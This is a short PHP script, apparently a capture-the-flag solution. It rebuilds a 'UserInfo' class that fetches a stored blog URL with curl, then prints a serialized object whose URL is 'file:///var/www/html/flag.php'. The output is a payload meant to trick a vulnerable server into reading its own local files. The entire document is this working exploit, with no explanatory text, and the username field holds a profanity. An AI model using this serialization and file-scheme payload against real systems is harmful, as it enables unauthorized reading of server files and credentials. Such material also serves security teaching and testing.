1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
   | <?php class UserInfo {     public $name = "";     public $age = 0;     public $blog = "";
      public function __construct($name, $age, $blog)     {         $this->name = $name;         $this->age = (int)$age;         $this->blog = $blog;     }
      function get($url)     {         $ch = curl_init();
          curl_setopt($ch, CURLOPT_URL, $url);         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);         $output = curl_exec($ch);         $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);         if($httpCode == 404) {             return 404;         }         curl_close($ch);
          return $output;     }
      public function getBlogContents ()     {         return $this->get($this->blog);     }
      public function isValidBlog ()     {         $blog = $this->blog;         return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);     } }
  $a = new UserInfo('fuck','0','file:///var/www/html/flag.php'); echo serialize($a); ?>
   |